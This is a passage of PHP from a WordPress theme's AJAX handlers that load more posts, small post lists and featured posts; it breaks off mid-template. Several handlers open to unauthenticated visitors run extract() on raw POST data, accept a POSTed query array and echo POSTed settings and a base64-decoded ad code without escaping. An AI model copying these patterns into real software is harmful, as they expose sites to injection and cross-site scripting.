		$archivetype = isset($_POST['archivetype']) ? $_POST['archivetype'] : '';
		$archivevalue = isset($_POST['archivevalue']) ? $_POST['archivevalue'] : '';
		$from = (isset($_POST['from'])) ? $_POST['from'] : 'customize';
		$template = (isset($_POST['template'])) ? $_POST['template'] : 'sidebar';
		$md = ( isset( $_POST['md'] ) ) ? sanitize_text_field( $_POST['md'] ) : '';

		$orderby = get_theme_mod('penci_general_post_orderby');

		if (!$orderby):
			$orderby = 'date';
		endif;

		$order = get_theme_mod('penci_general_post_order');
		if (!$order):
			$order = 'DESC';
		endif;

		$order = $order_get ? $order_get : $order;

		$args = array(
			'post_type' => 'post',
			'posts_per_page' => $ppp,
			'post_status' => 'publish',
			'offset' => $offset,
			'orderby' => $orderby,
			'order' => $order,
		);

		if ( 'views' == $order ) {
			$args['orderby'] = 'meta_value_num';
			$args['meta_key'] = 'DESC';
			$args['meta_key'] = penci_get_postviews_key();
		}

		if ( $md ) {
			$md_filter = explode( '-', $md );
			if ( isset( $md_filter[0] ) && isset( $md_filter[1] ) ) {
				$args['year'] = $md_filter[1];
				$args['monthnum'] = $md_filter[0];
			}
		}

		if ( $order == 'view' ) {
			$args['meta_key'] = penci_get_postviews_key();
			$args['order'] = 'DESC';
			$args['orderby'] = 'meta_value_num';
		}
		
		if ( $order == 'comment' ) {
			$args['order'] = 'DESC';
			$args['orderby'] = 'comment_count';
		}

		if ('cat' == $archivetype) {
			$args['cat'] = $archivevalue;
		} elseif ('tag' == $archivetype) {
			$args['tag_id'] = $archivevalue;
		} elseif ('day' == $archivetype) {
			$date_arr = explode('|', $archivevalue);
			$args['date_query'] = array(
				array(
					'year' => isset($date_arr[2]) ? $date_arr[2] : '',
					'month' => isset($date_arr[0]) ? $date_arr[0] : '',
					'day' => isset($date_arr[1]) ? $date_arr[1] : '',
				),
			);
		} elseif ('month' == $archivetype) {
			$date_arr = explode('|', $archivevalue);
			$args['date_query'] = array(
				array(
					'year' => isset($date_arr[2]) ? $date_arr[2] : '',
					'month' => isset($date_arr[0]) ? $date_arr[0] : '',
				),
			);
		} elseif ('year' == $archivetype) {
			$date_arr = explode('|', $archivevalue);
			$args['date_query'] = array(
				array(
					'year' => isset($date_arr[2]) ? $date_arr[2] : '',
				),
			);
		} elseif ('search' == $archivetype) {
			$args['s'] = $archivevalue;

			$post_types = get_post_types(
				array(
					'public' => true,
					'show_in_nav_menus' => true,
				),
				'names'
			);
			$array_include = array();
			foreach ($post_types as $key => $val) {
				$array_include[] = $key;
			}
			$exclude = array(
				'web-story',
				'e-landing-page',
				'penci-block',
				'penci_builder',
				'archive-template',
				'custom-post-template',
			);

			if (!get_theme_mod('penci_include_search_page')) {
				$exclude[] = 'page';
			}

			$array_include = array_diff($array_include, $exclude);

			$args['post_type'] = $array_include;

			
		} elseif ('author' == $archivetype) {
			$args['author'] = $archivevalue;

			if (isset($args['post_type'])) {
				unset($args['post_type']);
			}
		} elseif ($archivetype && $archivevalue) {
			$args['tax_query'] = array(
				array(
					'taxonomy' => $archivetype,
					'field' => 'term_id',
					'terms' => array($archivevalue),
				),
			);
		}

		$loop = new WP_Query($args);

		if ($loop->have_posts()):
			$infeed_ads = get_theme_mod('penci_infeedads_archi_code') ? get_theme_mod('penci_infeedads_archi_code') : '';
			$infeed_num = get_theme_mod('penci_infeedads_archi_num') ? get_theme_mod('penci_infeedads_archi_num') : 3;
			$infeed_full = get_theme_mod('penci_infeedads_archi_layout') ? get_theme_mod('penci_infeedads_archi_layout') : '';
			while ($loop->have_posts()):
				$loop->the_post();
				include locate_template('content-' . $layout . '.php');
			endwhile;
		endif;

		wp_reset_postdata();

		exit;
	}
endif;
/**
 * Functions callback when more posts clicked for homepage
 *
 * @since 2.5
 */
if (!function_exists('penci_more_post_ajax_func')) {
	add_action('wp_ajax_nopriv_penci_more_post_ajax', 'penci_more_post_ajax_func');
	add_action('wp_ajax_penci_more_post_ajax', 'penci_more_post_ajax_func');
	function penci_more_post_ajax_func() {
		check_ajax_referer('penci_more_post_ajax', 'nonce');

		$ppp = (isset($_POST['ppp'])) ? $_POST['ppp'] : 4;
		$offset = (isset($_POST['offset'])) ? $_POST['offset'] : 0;
		$layout = (isset($_POST['layout'])) ? sanitize_file_name( $_POST['layout'] ) : 'grid';
		$exclude = (isset($_POST['exclude'])) ? $_POST['exclude'] : '';
		$from = (isset($_POST['from'])) ? $_POST['from'] : 'customize';
		$come_from = (isset($_POST['comefrom'])) ? $_POST['comefrom'] : '';
		$template = (isset($_POST['template'])) ? $_POST['template'] : 'sidebar';
		$penci_mixed_style = (isset($_POST['mixed'])) ? $_POST['mixed'] : 'mixed';
		$penci_vc_query = (isset($_POST['query'])) ? $_POST['query'] : 'query';
		$penci_infeedads = (isset($_POST['infeedads'])) ? $_POST['infeedads'] : array();
		$penci_vc_number = (isset($_POST['number'])) ? $_POST['number'] : '10';
		$query_type = (isset($_POST['query_type'])) ? $_POST['query_type'] : 'post';
		$archivetype = isset($_POST['archivetype']) ? $_POST['archivetype'] : '';
		$archivevalue = isset($_POST['archivevalue']) ? $_POST['archivevalue'] : '';
		$atts = isset($_POST['datafilter']) ? $_POST['datafilter'] : array();
		$tag = isset($_POST['tag']) ? $_POST['tag'] : array();
		$cat = isset($_POST['cat']) ? $_POST['cat'] : array();
		$author = isset($_POST['author']) ? $_POST['author'] : array();
		$pagednum = isset($_POST['pagednum']) ? $_POST['pagednum'] : 1;
		$qtype = isset($_POST['qtype']) ? $_POST['qtype'] : '';

		// Add more option enable or hide
		$standard_title_length = $grid_title_length = 10;

		if ($atts && is_array($atts)) {
			extract($atts);
		}

		$standard_title_length = $standard_title_length ? $standard_title_length : 10;
		$grid_title_length = $grid_title_length ? $grid_title_length : 10;

		// header( "Content-Type: text/html" );

		$orderby = get_theme_mod('penci_general_post_orderby');
		if (!$orderby):
			$orderby = 'date';
		endif;
		$order = get_theme_mod('penci_general_post_order');
		if (!$order):
			$order = 'DESC';
		endif;

		$args = array(
			'post_type' => 'post',
			'posts_per_page' => $ppp,
			'post_status' => 'publish',
			'offset' => $offset,
			'orderby' => $orderby,
			'order' => $order,
		);

		if ($query_type != 'current_query') {

			$exclude_cats = '';
			if ($from == 'vc' && $exclude) {
				$exclude_cats = $exclude;
			} elseif ($from == 'customize' && (get_theme_mod('penci_exclude_featured_cat') || get_theme_mod('penci_home_exclude_cat'))) {
				$feat_query = penci_global_query_featured_slider();

				if ($feat_query) {

					$list_post_ids = array();
					if ($feat_query->have_posts()) {
						while ($feat_query->have_posts()):
							$feat_query->the_post();
							$list_post_ids[] = get_the_ID();
						endwhile;
						wp_reset_postdata();
					}

					$args['post__not_in'] = $list_post_ids;
				}

				if (get_theme_mod('penci_home_exclude_cat')) {
					$exclude_cats = get_theme_mod('penci_home_exclude_cat');
				}
			}

			if ($exclude_cats) {
				$exclude_cats = str_replace(' ', '', $exclude_cats);
				$exclude_array = explode(',', $exclude_cats);

				$args['tax_query'] = array(
					array(
						'taxonomy' => 'category',
						'field' => 'slug',
						'terms' => $exclude_array,
						'operator' => 'NOT IN',
					),
				);
			}
			if ($from == 'vc' && $penci_vc_query) {
				$args = $penci_vc_query;

				$new_offset = (isset($args['offset']) && $args['offset']) ? intval($args['offset']) : 0;
				$args['offset'] = $new_offset + $offset;
				$args['posts_per_page'] = $penci_vc_number;
			}
		} else {
			if ('cat' == $archivetype) {
				$args['cat'] = $archivevalue;
			} elseif ('tag' == $archivetype) {
				$args['tag_id'] = $archivevalue;
			} elseif ('day' == $archivetype) {
				$date_arr = explode('|', $archivevalue);
				$args['date_query'] = array(
					array(
						'year' => isset($date_arr[2]) ? $date_arr[2] : '',
						'month' => isset($date_arr[0]) ? $date_arr[0] : '',
						'day' => isset($date_arr[1]) ? $date_arr[1] : '',
					),
				);
			} elseif ('month' == $archivetype) {
				$date_arr = explode('|', $archivevalue);
				$args['date_query'] = array(
					array(
						'year' => isset($date_arr[2]) ? $date_arr[2] : '',
						'month' => isset($date_arr[0]) ? $date_arr[0] : '',
					),
				);
			} elseif ('year' == $archivetype) {
				$date_arr = explode('|', $archivevalue);
				$args['date_query'] = array(
					array(
						'year' => isset($date_arr[2]) ? $date_arr[2] : '',
					),
				);
			} elseif ('search' == $archivetype) {
				$args['s'] = $archivevalue;

				if (!get_theme_mod('penci_include_search_page')) {
					$post_types = get_post_types(
						array(
							'public' => true,
							'show_in_nav_menus' => true,
						),
						'names'
					);
					$array_include = array();
					foreach ($post_types as $key => $val) {
						if ('page' != $key) {
							$array_include[] = $key;
						}
					}
					$args['post_type'] = $array_include;

				} elseif (isset($args['post_type'])) {
					unset($args['post_type']);
				}
			} elseif ('author' == $archivetype) {
				$args['author'] = $archivevalue;

				if (isset($args['post_type'])) {
					unset($args['post_type']);
				}
			} elseif ($archivetype && $archivevalue) {
				$args['tax_query'] = array(
					array(
						'taxonomy' => $archivetype,
						'field' => 'term_id',
						'terms' => array($archivevalue),
					),
				);
			}

			$new_offset = (isset($penci_vc_query['offset']) && $penci_vc_query['offset']) ? intval($penci_vc_query['offset']) : 0;
			$args['offset'] = $new_offset + $offset;
		}

		$args['post_status'] = 'publish';

		if ($cat || $tag || $author) {
			$args = array(
				'post_type' => 'post',
				'posts_per_page' => $ppp,
				'post_status' => 'publish',
				'orderby' => $orderby,
				'order' => $order,
			);
		}
		if ($qtype == 'ajaxtab' || (isset($_GET['query_type']) && $_GET['query_type'] == 'ajaxtab')) {
			if ($offset) {
				$args['offset'] = $offset;
			}
			if ($pagednum > 1) {
				$current_offset = isset($args['offset']) && $args['offset'] ? $args['offset'] : 0;
				$args['offset'] = ($pagednum - 1) * $ppp + $current_offset;
			}
		}
		if ($cat) {
			$args['cat'] = $cat;
		}
		if ($tag) {
			$args['tag_id'] = $tag;
		}
		if ($author) {
			$args['author'] = $author;
		}

		$args['nopaging'] = false;
		$args['no_found_rows'] = false;

		$loop = new WP_Query(array_filter($args));

		$qoffset = isset($args['offset']) && $args['offset'] ? $args['offset'] : 0;
		$qppp = isset($args['posts_per_page']) && $args['posts_per_page'] ? $args['posts_per_page'] : get_option('posts_per_page');
		$class_check = $qoffset + $qppp >= $loop->found_posts ? 'pc-nomorepost' : 'pc-hasmorepost';

		if ($loop->have_posts()):
			/* In-feed ads data */
			$infeed_ads = $infeed_num = $infeed_full = '';
			if ('vc-elementor' == $come_from) {
				$data_infeeds = $penci_infeedads;
				if (!empty($data_infeeds)) {
					$infeed_ads = (isset($data_infeeds['ads_code']) && $data_infeeds['ads_code']) ? rawurldecode(base64_decode($data_infeeds['ads_code'])) : '';
					$infeed_num = (isset($data_infeeds['ads_num']) && $data_infeeds['ads_num']) ? $data_infeeds['ads_num'] : 3;
					$infeed_full = (isset($data_infeeds['ads_full']) && $data_infeeds['ads_full']) ? $data_infeeds['ads_full'] : '';
				}
			} else {
				$infeed_ads = get_theme_mod('penci_infeedads_home_code') ? get_theme_mod('penci_infeedads_home_code') : '';
				$infeed_num = get_theme_mod('penci_infeedads_home_num') ? get_theme_mod('penci_infeedads_home_num') : 3;
				$infeed_full = get_theme_mod('penci_infeedads_home_layout') ? get_theme_mod('penci_infeedads_home_layout') : '';
			}
			if ( in_array( $layout, [ 'grid-boxed', 'grid-boxed-2', 'grid-boxed-3' ] ) ) {
				$layout = 'grid';
			} elseif ( in_array( $layout, [ 'list-boxed', 'list-boxed-2' ] ) ) {
				$layout = 'list';
			}
			echo '<span class="' . $class_check . '"></span>';
			while ($loop->have_posts()):
				$loop->the_post();

				if ('vc-elementor' == $come_from) {
					include locate_template('template-parts/latest-posts-sc/content-' . $layout . '.php');
				} else {
					include locate_template('content-' . $layout . '.php');
				}

			endwhile;
		endif;

		wp_reset_postdata();

		exit;
	}
}

if (!function_exists('penci_more_slist_post_ajax_func')) {
	add_action('wp_ajax_nopriv_penci_more_slist_post_ajax', 'penci_more_slist_post_ajax_func');
	add_action('wp_ajax_penci_more_slist_post_ajax', 'penci_more_slist_post_ajax_func');
	function penci_more_slist_post_ajax_func() {
		check_ajax_referer('penci_ajax_filter_slist', 'nonce');
		$settings = isset($_POST['datafilter']) ? $_POST['datafilter'] : array();
		$cat = isset($_POST['cat']) ? $_POST['cat'] : array();
		$tag = isset($_POST['tag']) ? $_POST['tag'] : array();
		$author = isset($_POST['author']) ? $_POST['author'] : array();
		$elid = isset($_POST['id']) ? $_POST['id'] : '';
		$paged = isset($_POST['pagednum']) ? $_POST['pagednum'] : '';
		$archivetype = isset($_POST['archivetype']) ? $_POST['archivetype'] : '';
		$archivevalue = isset($_POST['archivevalue']) ? $_POST['archivevalue'] : '';
		$more = isset($_POST['checkmore']) ? $_POST['checkmore'] : false;
		if ($settings && is_array($settings)) {
			extract($settings);
		}

		$posts_per_page = isset($settings['query']['posts_per_page']) && $settings['query']['posts_per_page'] ? $settings['query']['posts_per_page'] : get_theme_mod('posts_per_page');
		$new_offset = (isset($settings['query']['offset']) && $settings['query']['offset']) ? intval($settings['query']['offset']) : 0;
		$smquery_args = array(
			'post_type' => isset($settings['query']['post_type']) ? $settings['query']['post_type'] : 'post',
			'posts_per_page' => $posts_per_page,
			'post_status' => 'publish',
			'offset' => $new_offset,
			'orderby' => isset($settings['query']['orderby']) ? $settings['query']['orderby'] : 'date',
			'order' => isset($settings['query']['order']) ? $settings['query']['order'] : 'DESC',
		);

		if (isset($settings['query']['tax_query'])) {
			$smquery_args['tax_query'] = $settings['query']['tax_query'];
		}

		if ($paged > 1) {
			$smquery_args['offset'] = $new_offset + ($posts_per_page * ($paged - 1));
		}

		if ($cat) {
			$smquery_args['cat'] = $cat;
		}
		if ($tag) {
			$smquery_args['tag_id'] = $tag;
		}
		if ($author) {
			$smquery_args['author'] = $tag;
		}
		if ($tag || $cat || $author) {
			unset($smquery_args['tax_query']);
			unset($smquery_args['offset']);
			if ($paged > 1) {
				$smquery_args['offset'] = ($paged - 1) * $posts_per_page;
			}
		} elseif ($archivetype && $archivevalue) {
			if ('cat' == $archivetype) {
				$smquery_args['cat'] = $archivevalue;
			} elseif ('tag' == $archivetype) {
				$smquery_args['tag_id'] = $archivevalue;
			} elseif ('day' == $archivetype) {
				$date_arr = explode('|', $archivevalue);
				$smquery_args['date_query'] = array(
					array(
						'year' => isset($date_arr[2]) ? $date_arr[2] : '',
						'month' => isset($date_arr[0]) ? $date_arr[0] : '',
						'day' => isset($date_arr[1]) ? $date_arr[1] : '',
					),
				);
			} elseif ('month' == $archivetype) {
				$date_arr = explode('|', $archivevalue);
				$smquery_args['date_query'] = array(
					array(
						'year' => isset($date_arr[2]) ? $date_arr[2] : '',
						'month' => isset($date_arr[0]) ? $date_arr[0] : '',
					),
				);
			} elseif ('year' == $archivetype) {
				$date_arr = explode('|', $archivevalue);
				$smquery_args['date_query'] = array(
					array(
						'year' => isset($date_arr[2]) ? $date_arr[2] : '',
					),
				);
			} elseif ('search' == $archivetype) {
				$smquery_args['s'] = $archivevalue;

				if (!get_theme_mod('penci_include_search_page')) {
					$post_types = get_post_types(
						array(
							'public' => true,
							'show_in_nav_menus' => true,
						),
						'names'
					);
					$array_include = array();
					foreach ($post_types as $key => $val) {
						if ('page' != $key) {
							$array_include[] = $key;
						}
					}
					$smquery_args['post_type'] = $array_include;

				} elseif (isset($smquery_args['post_type'])) {
					unset($smquery_args['post_type']);
				}
			} elseif ('author' == $archivetype) {
				$smquery_args['author'] = $archivevalue;

				if (isset($smquery_args['post_type'])) {
					unset($smquery_args['post_type']);
				}
			} else {
				$smquery_args['tax_query'] = array(
					array(
						'taxonomy' => $archivetype,
						'field' => 'term_id',
						'terms' => array($archivevalue),
					),
				);
			}
		}

		// begin
		$type = $settings['type'] ? $settings['type'] : '';
		$dformat = $settings['dformat'] ? $settings['dformat'] : '';
		$date_pos = $settings['date_pos'] ? $settings['date_pos'] : 'left';
		$column = $settings['column'] ? $settings['column'] : '3';
		$tab_column = $settings['tab_column'] ? $settings['tab_column'] : '2';
		$mb_column = $settings['mb_column'] ? $settings['mb_column'] : '1';
		$imgpos = $settings['imgpos'] ? $settings['imgpos'] : 'left';
		$thumb_size_imgtop = 'top' == $imgpos ? 'penci-thumb' : 'penci-thumb-small';
		if( get_theme_mod('penci_featured_image_size') == 'vertical' ){
			$thumb_size_imgtop = 'penci-thumb-vertical';
		} else if( get_theme_mod('penci_featured_image_size') == 'square' ){
			$thumb_size_imgtop = 'penci-thumb-square';
		}
		$thumb_size = $settings['thumb_size'] ? $settings['thumb_size'] : $thumb_size_imgtop;
		$mthumb_size = $settings['mthumb_size'] ? $settings['mthumb_size'] : $thumb_size_imgtop;
		$post_meta = $settings['post_meta'] ? $settings['post_meta'] : array();
		$primary_cat = $settings['primary_cat'] ? $settings['primary_cat'] : '';
		$title_length = $settings['title_length'] ? $settings['title_length'] : '';
		$excerpt_pos = $settings['excerpt_pos'] ? $settings['excerpt_pos'] : 'below';
		if ('top' == $imgpos) {
			$excerpt_pos = 'side';
		}
		$rmstyle = $settings['rmstyle'] ? $settings['rmstyle'] : 'filled';
		$excerpt_length = $settings['excerpt_length'] ? $settings['excerpt_length'] : 15;

		$thumbnail = $thumb_size;
		if (penci_is_mobile()) {
			$thumbnail = $mthumb_size;
		}

		if (!is_array($post_meta) && strpos($post_meta, ',') !== false) {
			$post_meta = explode(',', $post_meta);
		}

		$inner_wrapper_class = 'pcsl-inner penci-clearfix';
		$inner_wrapper_class .= ' pcsl-' . $type;
		if ('crs' == $type) {
			$inner_wrapper_class .= ' swiper penci-owl-carousel penci-owl-carousel-slider';
		}
		if ('nlist' == $type) {
			$column = '1';
			$tab_column = '1';
			$mb_column = '1';
			if (in_array('date', $post_meta)) {
				$inner_wrapper_class .= ' pcsl-hdate';
			}
		}
		$inner_wrapper_class .= ' pcsl-imgpos-' . $imgpos;
		$inner_wrapper_class .= ' pcsl-col-' . $column;
		$inner_wrapper_class .= ' pcsl-tabcol-' . $tab_column;
		$inner_wrapper_class .= ' pcsl-mobcol-' . $mb_column;
		if ('yes' == $settings['nocrop']) {
			$inner_wrapper_class .= ' pcsl-nocrop';
		}
		if ('yes' == $settings['hide_cat_mobile']) {
			$inner_wrapper_class .= ' pcsl-cat-mhide';
		}
		if ('yes' == $settings['hide_meta_mobile']) {
			$inner_wrapper_class .= ' pcsl-meta-mhide';
		}
		if ('yes' == $settings['hide_excerpt_mobile']) {
			$inner_wrapper_class .= ' pcsl-excerpt-mhide';
		}
		if ('yes' == $settings['hide_rm_mobile']) {
			$inner_wrapper_class .= ' pcsl-rm-mhide';
		}
		if ('yes' == $settings['imgtop_mobile'] && in_array($imgpos, array('left', 'right'))) {
			$inner_wrapper_class .= ' pcsl-imgtopmobile';
		}
		if ('yes' == $settings['ver_border']) {
			$inner_wrapper_class .= ' pcsl-verbd';
		}

		$data_slider = '';
		$item_class = ' normal-item';
		if ('crs' == $type) {
			$item_class = ' swiper-slide';
			$data_slider .= isset($settings['showdots']) && $settings['showdots'] ? ' data-dots="true"' : ' data-dots="false"';
			$data_slider .= isset($settings['shownav']) && $settings['shownav'] ? ' data-nav="false"' : ' data-nav="true"';
			$data_slider .= isset($settings['shownav']) && $settings['loop'] ? ' data-loop="false"' : ' data-loop="true"';
			$data_slider .= ' data-auto="' . ('yes' == $settings['autoplay'] ? 'true' : 'false') . '"';
			$data_slider .= isset($settings['auto_time']) && $settings['auto_time'] ? ' data-autotime="' . $settings['auto_time'] . '"' : ' data-autotime="4000"';
			$data_slider .= isset($settings['speed']) && $settings['speed'] ? ' data-speed="' . $settings['speed'] . '"' : ' data-speed="600"';

			$data_slider .= ' data-item="' . (isset($settings['column']) && $settings['column'] ? $settings['column'] : '3') . '"';
			$data_slider .= ' data-desktop="' . (isset($settings['column']) && $settings['column'] ? $settings['column'] : '3') . '" ';
			$data_slider .= ' data-tablet="' . (isset($settings['tab_column']) && $settings['tab_column'] ? $settings['tab_column'] : '2') . '"';
			$data_slider .= ' data-tabsmall="' . (isset($settings['tab_column']) && $settings['tab_column'] ? $settings['tab_column'] : '2') . '"';
			$data_slider .= ' data-mobile="' . (isset($settings['mb_column']) && $settings['mb_column'] ? $settings['mb_column'] : '1') . '"';
		}
		$query_smalllist = new WP_Query($smquery_args);
		$qoffset = isset($smquery_args['offset']) && $smquery_args['offset'] ? $smquery_args['offset'] : 0;
		$qppp = isset($smquery_args['posts_per_page']) && $smquery_args['posts_per_page'] ? $smquery_args['posts_per_page'] : get_option('posts_per_page');
		$class_check = $qoffset + $qppp >= $query_smalllist->found_posts ? 'pc-nomorepost' : 'pc-hasmorepost';
		
		if ($query_smalllist->have_posts()) {
			if (!$more):
				$wrapper_id = $elid ? $class_check . ' pwsl-id-' . $elid : 'pwsl-id-default';
				?>
				<div class="penci-smalllist pcsl-wrapper <?php echo $wrapper_id; ?>">
					<div class="<?php echo $inner_wrapper_class; ?>"<?php echo $data_slider; ?>>
						<?php if ( 'crs' == $type ) : ?>
                            <div class="swiper-wrapper">
								<?php endif; ?>
					<?php endif;?>
					<?php
					while ($query_smalllist->have_posts()):
						$query_smalllist->the_post();
						?>
						<?php if ( 'crs' == $type ) : ?>
                            <div class="swiper-slide">
						<?php endif; ?>
						<div class="pcsl-item
						<?php
						if ('yes' == $settings['hide_thumb'] || !has_post_thumbnail()) {
							echo ' pcsl-nothumb';
						}
						?>
						">
						<div class="pcsl-itemin">
							<div class="pcsl-iteminer">
								<?php if (in_array('date', $post_meta) && 'nlist' == $type) {?>
									<div class="pcsl-date pcsl-dpos-<?php echo $date_pos; ?>">
										<span class="sl-date"><?php penci_soledad_time_link(null, $dformat);?></span>
									</div>
								<?php }?>

								<?php if ('yes' != $settings['hide_thumb'] && has_post_thumbnail()) {
									?>
									<div class="pcsl-thumb">
										<?php
										do_action('penci_bookmark_post', get_the_ID(), 'small');
										/* Display Review Piechart  */
										if ('yes' == $settings['show_reviewpie'] && function_exists('penci_display_piechart_review_html')) {
											penci_display_piechart_review_html(get_the_ID(), 'small');
										}
										?>
										<?php if ('yes' == $settings['show_formaticon']): ?>
											<?php if (has_post_format('video')): ?>
												<a href="<?php the_permalink();?>" class="icon-post-format"
													aria-label="Icon"><?php penci_fawesome_icon('fas fa-play');?></a>
												<?php endif;?>
												<?php if (has_post_format('gallery')): ?>
													<a href="<?php the_permalink();?>" class="icon-post-format"
														aria-label="Icon"><?php penci_fawesome_icon('far fa-image');?></a>
													<?php endif;?>
													<?php if (has_post_format('audio')): ?>
														<a href="<?php the_permalink();?>" class="icon-post-format"
															aria-label="Icon"><?php penci_fawesome_icon('fas fa-music');?></a>
														<?php endif;?>
														<?php if (has_post_format('link')): ?>
															<a href="<?php the_permalink();?>" class="icon-post-format"
																aria-label="Icon"><?php penci_fawesome_icon('fas fa-link');?></a>
															<?php endif;?>
															<?php if (has_post_format('quote')): ?>
																<a href="<?php the_permalink();?>" class="icon-post-format"
																	aria-label="Icon"><?php penci_fawesome_icon('fas fa-quote-left');?></a>
																<?php endif;?>
															<?php endif;?>

																<a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), $thumbnail ),'yes' != $settings['disable_lazy'] ); ?> href="<?php the_permalink();?>"
																	title="<?php echo wp_strip_all_tags(get_the_title()); ?>"
																	class="<?php echo penci_layout_bg_class('yes' != $settings['disable_lazy']);?> penci-image-holder"
																	<?php
																	if ('yes' == $settings['nocrop']) {
																		echo ' style="padding-bottom: ' . penci_get_featured_image_padding_markup(get_the_ID(), $thumbnail, true) . '%"';
																	}
																	?>>
																	<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), $thumbnail ), get_the_title(),'yes' != $settings['disable_lazy'] ); ?>
																</a>

														</div>
													<?php }?>
													<div class="pcsl-content">
														<?php if (in_array('cat', $post_meta)): ?>
															<div class="cat pcsl-cat">
																<?php penci_category('', $primary_cat);?>
															</div>
														<?php endif;?>

														<?php if (in_array('title', $post_meta)): ?>
															<div class="pcsl-title">
																<a href="<?php the_permalink();?>"
																	<?php
																	if ($title_length):
																		echo ' title="' . wp_strip_all_tags(get_the_title()) . '"';
																	endif;
																	?>
																	>
																	<?php
																	if (!$title_length) {
																		the_title();
																	} else {
																		echo wp_trim_words(wp_strip_all_tags(get_the_title()), $title_length, '...');
																	}
																	?>
																</a>
															</div>
														<?php endif;?>

														<?php
														if ((count(
															array_intersect(
																array(
																	'author',
																	'date',
																	'comment',
																	'views',
																	'reading',
																),
																$post_meta
															)
														) > 0 && 'nlist' != $type) || (count(
															array_intersect(
																array(
																	'author',
																	'comment',
																	'views',
																	'reading',
																),
																$post_meta
															)
														) > 0 && 'nlist' == $type)) {
															?>
															<div class="grid-post-box-meta pcsl-meta">
																<?php if (in_array('author', $post_meta)): ?>
																	<span class="sl-date-author author-italic">
																		<?php echo penci_get_setting('penci_trans_by'); ?> <a
																		class="url fn n"
																		href="<?php echo get_author_posts_url(get_the_author_meta('ID')); ?>"><?php the_author();?></a>
																	</span>
																<?php endif;?>
																<?php if (in_array('date', $post_meta) && 'nlist' != $type): ?>
																	<span class="sl-date"><?php penci_soledad_time_link(null, $dformat);?></span>
																<?php endif;?>
																<?php if (in_array('comment', $post_meta)): ?>
																	<span class="sl-comment">
																		<a href="<?php comments_link();?> "><?php comments_number('0 ' . penci_get_setting('penci_trans_comments'), '1 ' . penci_get_setting('penci_trans_comment'), '% ' . penci_get_setting('penci_trans_comments'));?></a>
																	</span>
																<?php endif;?>
																<?php
																if (in_array('views', $post_meta)) {
																	echo '<span class="sl-views">';
																	echo penci_get_post_views(get_the_ID());
																	echo ' ' . penci_get_setting('penci_trans_countviews');
																	echo '</span>';
																}
																?>
																<?php
																$hide_readtime = in_array('reading', $post_meta) ? false : true;
																if (penci_isshow_reading_time($hide_readtime)):
																	?>
																	<span class="sl-readtime"><?php penci_reading_time();?></span>
																<?php endif;?>
																<?php do_action( 'penci_extra_meta' ); ?>
															</div>
														<?php }?>

														<?php if ('yes' == $settings['show_excerpt'] && 'side' == $excerpt_pos) {?>
															<div class="pcbg-pexcerpt pcsl-pexcerpt">
																<?php penci_the_excerpt($excerpt_length);?>
															</div>
														<?php }?>
														<?php if ('yes' == $settings['show_readmore'] && 'side' == $excerpt_pos) {?>
															<div class="pcsl-readmore">
																<a href="<?php the_permalink();?>"
																	class="pcsl-readmorebtn pcsl-btns-<?php echo $rmstyle; ?>">
																	<?php echo penci_get_setting('penci_trans_read_more'); ?>
																</a>
															</div>
														<?php }?>
													</div>

													<?php if (('yes' == $settings['show_excerpt'] || 'yes' == $settings['show_readmore']) && 'below' == $excerpt_pos) {?>
														<div class="pcsl-flex-full">
															<?php if ('yes' == $settings['show_excerpt']) {?>
																<div class="pcbg-pexcerpt pcsl-pexcerpt">
																	<?php penci_the_excerpt($excerpt_length);?>
																</div>
															<?php }?>
															<?php if ('yes' == $settings['show_readmore']) {?>
																<div class="pcsl-readmore">
																	<a href="<?php the_permalink();?>"
																		class="pcsl-readmorebtn pcsl-btns-<?php echo $rmstyle; ?>">
																		<?php echo penci_get_setting('penci_trans_read_more'); ?>
																	</a>
																</div>
															<?php }?>
														</div>
													<?php }?>
												</div>
											</div>
										</div>
										<?php
										if ( 'crs' == $type ) :
                            			echo '</div>';
										endif;
									endwhile;

									if ( 'crs' == $type ) :
                            			echo '</div>';
									endif;

									if (!$more):
										?>

									</div>
								</div>
								<?php
							endif;

						} /* End check if query exists posts */
						wp_reset_postdata();
						exit;
					}
				}

/**
 * Functions callback featured posts
 *
 * @since 8.0.3
 */
if (!function_exists('penci_more_featured_post_ajax_func')) {
	add_action('wp_ajax_nopriv_penci_more_featured_post_ajax', 'penci_more_featured_post_ajax_func');
	add_action('wp_ajax_penci_more_featured_post_ajax', 'penci_more_featured_post_ajax_func');
	function penci_more_featured_post_ajax_func() {
		check_ajax_referer('penci_ajax_filter_fcat', 'nonce');
		$atts = isset($_POST['datafilter']) ? $_POST['datafilter'] : array();
		$cat = isset($_POST['cat']) ? $_POST['cat'] : array();
		$tag = isset($_POST['tag']) ? $_POST['tag'] : array();
		$author = isset($_POST['author']) ? $_POST['author'] : array();
		$id = isset($_POST['id']) ? $_POST['id'] : '';
		$paged = isset($_POST['pagednum']) ? $_POST['pagednum'] : '';
		if ($atts && is_array($atts)) {
			extract($atts);
		}

		$query_args = array();

		if (is_array($atts['elementor_query'])) {
			$query_args = $atts['elementor_query'];
		} elseif ($atts['build_query'] && function_exists('penci_build_args_query')) {
			$query_args = penci_build_args_query($atts['build_query']);
		}

		$custom_query_tab = false;
		if ($cat) {
			$query_args['cat'] = $cat;
		}

		if ($tag) {
			$query_args['tag_id'] = $tag;
		}

		if ($author) {
			$query_args['author'] = $author;
		}

		if ($cat || $tag || $author) {
			unset($query_args['offset']);
			unset($query_args['tax_query']);
			$custom_query_tab = true;
		}

		$dppp = isset($query_args['posts_per_page']) && $query_args['posts_per_page'] ? $query_args['posts_per_page'] : get_option('posts_per_page');
		$num_check = 0;
		if ($paged) {
			if (isset($query_args['offset']) && $query_args['offset'] && !$custom_query_tab) {
				$query_args['offset'] = $paged * $query_args['offset'];
				$num_check = $query_args['offset'] + $dppp;
			} else {
				$query_args['paged'] = $paged;
				$num_check = $paged * $dppp;
			}
		}

		$fea_query = new WP_Query($query_args);
		$numers_results = $fea_query->post_count;
		$max_paged = $fea_query->max_num_pages;
		$doffset = isset($query_args['offset']) && $query_args['offset'] ? $query_args['offset'] : 0;
		$class_check = $num_check >= $fea_query->found_posts ? 'pc-nomorepost' : 'pc-hasmorepost';
		$slider_autoplay = 'true';
		if ($atts['cat_autoplay']) {
			$slider_autoplay = 'false';
		}
		?>
		<div class="home-featured-cat-content <?php echo esc_attr($class_check . ' pwf-id-' . $id . ' ' . $style); ?>">
			<?php if ($style == 'style-4'): ?>
			<div class="swiper penci-single-mag-slider penci-owl-carousel penci-owl-carousel-slider"
